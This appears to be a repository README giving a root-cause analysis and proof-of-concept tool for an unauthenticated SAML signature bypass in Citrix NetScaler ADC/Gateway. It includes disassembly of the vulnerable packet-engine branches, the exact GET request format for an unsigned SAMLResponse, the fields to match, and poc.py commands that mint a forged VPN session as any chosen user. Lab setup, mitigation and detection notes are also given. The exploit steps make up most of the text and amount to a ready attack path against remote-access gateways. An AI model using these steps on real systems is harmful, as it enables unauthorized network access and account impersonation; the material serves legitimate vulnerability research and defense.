
NetScaler ADC/Gateway SAML unsigned-assertion bypass via HTTP-Redirect binding (CTX696939) - root cause analysis + PoC
Unauthenticated session forgery on Citrix NetScaler ADC / NetScaler Gateway via the
SAML HTTP-Redirect binding handler at GET /cgi/samlauth. CVSS 4.0 9.3, CWE-288.
Bulletin CTX696939 (2026-08-19), no workarounds. Credit for the original report goes
to Samarth Vashisht (JPMorgan Chase pen-test team); the root-cause analysis and the
code in this repo are my own work.
Affected: 14.1 before 14.1-73.32, 13.1 before 13.1-63.21. Fixed in those two builds.
Two things go wrong together in nsppe, the packet engine.
1. the redirect binding parses assertions with the strict flag cleared.
All call sites of the SAML response parser (sub_b40a50) set up a "strict" argument
before the call. The POST binding path (what browsers actually use for SAML responses)
passes it set. The HTTP-Redirect binding path does not:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict OFF
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- the parser
That is the alternate path in the CWE-288 sense. Same request surface, weaker parser
invocation, reachable by anyone who can send a GET with a SAMLResponse query parameter.
2. the unsigned-assertion gate treats the default config as ALLOW.
Inside the redirect handler, when the request carries no SigAlg/Signature, the
config word for rejectUnsignedAssertion is compared and branched like this:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- jumps to the ACCEPT path
The word values are: 2 = rejectUnsignedAssertion ON (the default), 3 = STRICT.
The je sends 2 to accept. Only STRICT reaches the deny log line:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
So on a default-config box, an unsigned assertion handed to the redirect binding is parsed (strict off), accepted past the unsigned gate (ON misread as allow), and then runs the ordinary post-parse steps: issuer/audience/subject checks against the SAML action config, then session construction from attacker-supplied fields. No digest, no RSA verify, anywhere on that route. POST binding is not affected the same way — it passes strict to the parser and rejects unsigned input properly.
Preconditions per the bulletin, confirmed against the binary: builds from 14.1-43.56 / 13.1-61.28 onward need a SAML action bound to a Gateway or AAA vserver (the normal SAML SSO setup, so most SAML deployments qualify). Earlier builds register the route with the vserver alone.
One GET. Build a SAML Response with no <ds:Signature> anywhere, DEFLATE + base64
it, and send:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
The values that must match the target's SAML action config: assertion Issuer = the
IdP entity ID, Audience = the SP entity ID, Recipient/Destination = the ACS URL, and
on transactional setups an InResponseTo from a live AuthnRequest. --mint walks the
gateway's own pre-auth login redirect to capture those (the SAMLRequest in the
Location header carries all of them). A 302 to /vpn/ plus a real NSC_AAAC /
NSC_TASS cookie (not the xyz deletion markers) is a forged session as whatever
NameID you put in.
pip install requests
# is the endpoint there and does GET binding process SAMLResponse at all
python3 poc.py https://vpn.target.com --check-only
# non-intrusive config probe: unsigned assertion with a deliberately WRONG issuer.
# 'Malformed Assertion' (0xe0005) -> STRICT, not vulnerable to this vector
# issuer/policy error (0xe0012) -> default config, vulnerable; no session minted
python3 poc.py https://vpn.target.com --safe-oracle
# full chain (authorized targets only): mint the SP chain, forge, validate once
python3 poc.py https://vpn.target.com --mint --name-id [email protected]
--safe-oracle exists because the two configs return different error pages before
anything session-shaped happens, which is also how defenders can self-check without
touching a real IdP. Run it against your own gear.
demo/demo.gif (also demo.mp4, and demo/demo.cast if you want to play it with
asciinema play): affected build out of the docker image, the word-2 default config,
the two binary branches disassembled from the shipped nsppe, and the PoC endpoint
check. The last mile, session issuance, needs a licensed VPX — CPX Express refuses
AAA sessions at the licence layer — which is what lab/record-demo.sh captures when
you have one.
lab/setup-cpx.sh brings up the exact affected build in docker:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
and configures a SAML action with rejectUnsignedAssertion ON, a policy, and a
Gateway vserver. Two caveats learned the hard way:
/cgi/samlauth
but every request lands on 480 Login exceeds maximum allowed users. Good enough
to reproduce config + endpoint + binary state, not the final session cookie.lab/record-demo.sh records the whole
asciinema sequence: version, config, safe-oracle, forged session, STRICT negative
control.The shipped-binary offsets above come straight out of that image:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
set samlAction <name> -samlRejectUnsignedAssertion STRICT blocks the redirect
vector on the vulnerable path (it makes word==3). Be aware STRICT also changes
what the box expects from your IdP (Response + Assertion signing requirements),
which is presumably why Citrix ships ON as the default and why "just set STRICT"
is not a clean workaround for everyone./cgi/samlauth carrying SAMLResponse on GET (redirect
binding responses are rare in the wild — browsers POST), unsigned payloads, and
the error-page differential above.For authorized security testing only: your own lab, or targets explicitly in scope for a program you are authorized on. The author is not affiliated with Citrix or the original reporting team.
MIT license, see LICENSE.